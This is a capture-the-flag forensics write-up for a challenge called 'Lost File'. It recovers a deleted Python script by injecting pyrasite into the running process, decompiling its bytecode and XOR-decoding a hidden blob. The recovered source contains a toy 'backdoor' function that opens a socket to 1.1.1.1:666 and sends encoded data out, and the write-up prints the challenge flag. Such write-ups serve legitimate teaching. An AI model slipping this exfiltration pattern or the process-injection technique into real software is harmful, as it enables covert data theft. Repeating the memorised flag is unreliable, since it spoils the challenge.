Lost File

Forensics - 225 Points

Heeelp! I did a rm on my python file. All my work is gone! Would you help me restore it?
I usually work with a virtualenv if this info can help you.. ssh lost-file@lost-file.ctf.insecurity-insa.fr (password lost-file)

Writeup

lost-file@c080471a8de3:/app$ ps aux | grep python 
lost-fi+     6  0.0  0.1  21908  2772 ?        S    12:09   0:00 python2 /app/challenge.py 

My first approach was to look for a pyc still somewhere resident in /proc/$PID/fd/$FD, but alas, I had no luck. Yet, the python program was still running and hitherto still in memory.

A month ago I remember reading on HackerNews a gist about how to recover lost Python source code if it’s still resident in-memory. I tried it with varying degrees of success, but there were some missing dependencies so I’ll report the full install procedure below:

lost-file@c080471a8de3:/app$ virtualenv pyrasite 
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install pyrasite 
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install uncompyle6 
lost-file@c080471a8de3:/app$ pyrasite/bin/pyrasite-shell $(pgrep -f "python")

You can now use several payloads.
If you want to extract the source, you’ll need meliae, a python memory analysis tool. On the challenge box I had problems while executing pyrasite/bin/pip install meliae so I resorted to manually downloading and compiling the source:

lost-file@6083c16196b7:/app$ pip install Cython 
lost-file@6083c16196b7:/app$ pyrasite/bin/pip install --download="." meliae 
lost-file@6083c16196b7:/app$ tar -zxvf meliae-0.4.0.tar.gz ; rm meliae-0.4.0.tar.gz; cd meliae-0.4.0/ ; 
lost-file@6083c16196b7:/app/meliae-0.4.0$ python ./setup.py install 

and then, when the attached python shell popped:

>>> import uncompyle6 
>>> import sys 
>>> uncompyle6.main.uncompyle( 
>>> 2.7, x.func_code, sys.stdout 
>>> ) 

# Embedded file name: /app/challenge.py 
return ''.join((chr(ord(c) ^ ord(k)) for c, k in izip(base64.decodestring(a), cycle(b)))) 

We also used globals() to get the c var:

c = '\nbgwMFA0XEUYXCgIPBxFvDwkVDhYWRRYfF28HFg0IRQ8QABMQDQoJFUQMDBQNFxFGBxwCCAdvbwIBA0ECAwwJTk1fa0RCRUUWFgwPEARNRz8LEEEMAxMARgIECAgHAUdPbm8FAQRFAQkKAElNWG9FRkRFERYLCxEATEc2AQ4JRQILCwRGS29vAgEDQQIXCwZOTV9rREJFRQEICgMFDkUdbERFQUQFCQoEBQlBD2hFRUZEDlxGNRUwDgFcEQc0EFQpFCIKCAhHXmxERUFEGlgJBwkHBQVCFkkSXkdDSggKDAhMBgkWSgoXAkwESDoNFwFOBkxIRAQKF0YFSQNECwtFHA0VSRdOBhwFCABJEEtMTGxuAQQCQgcEBQ8BDgsQTUxcbkVBREIBBBIFWEMsCFEiLTZQUjUzJB8tCSALNiZRVSlVFgsjIwpRMCFVODEaAixEbkVBREJvRUZERRJEX0UWCQcOBBBMFgoFDwAVTBEKBg0BEU8lJDosKCExTUQRCgYNARFPNy0mLjk3MTMhIyhMbERFQUQRSwYJCgsEBxZNTURVS1BKU0tUREhFV1JUTExsREVBRBFLFgMKAUkcSkcND0ZJCk1Lb0VGREUSShEACwJMAQAQA0xvbA0DQTs9CwQLATo+RF9YRUQ7OgwFCws6OUZfa0RCRUUAEQsCTEtvRUZERQMFAQ4BCQsXSU1o\n' 

Decoding c and using this xor cracker lead us to the source of /app/challenge.py:

import socket 
import sys 
from itertools import cycle 
 
def fail(): 
    printf("You have failed") 
 
def done(): 
    printf("Well done") 
 
def func(): 
    global x 
    global k 
    k="WpUhe9pcVu1OpGklj"; 
    x=lambda s,t:"".join(chr(ord(a)^ord(b)) for a,b in zip(s,cycle(t))) 
 
def backdoor(): 
    data="Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI" 
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect(("1.1.1.1", 666)) 
    s.send(x("hi",k)) 
    s.send(data) 
 
if __name__ == "__main__": 
    func() 
    backdoor() 

In the backdoor function, xoring the base64-decoded data var (“Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI”) with k (“WpUhe9pcVu1OpGklj”) gives us the flag, which decodes to INSA{N1ce_Pl4y_W1th_P1th0N}.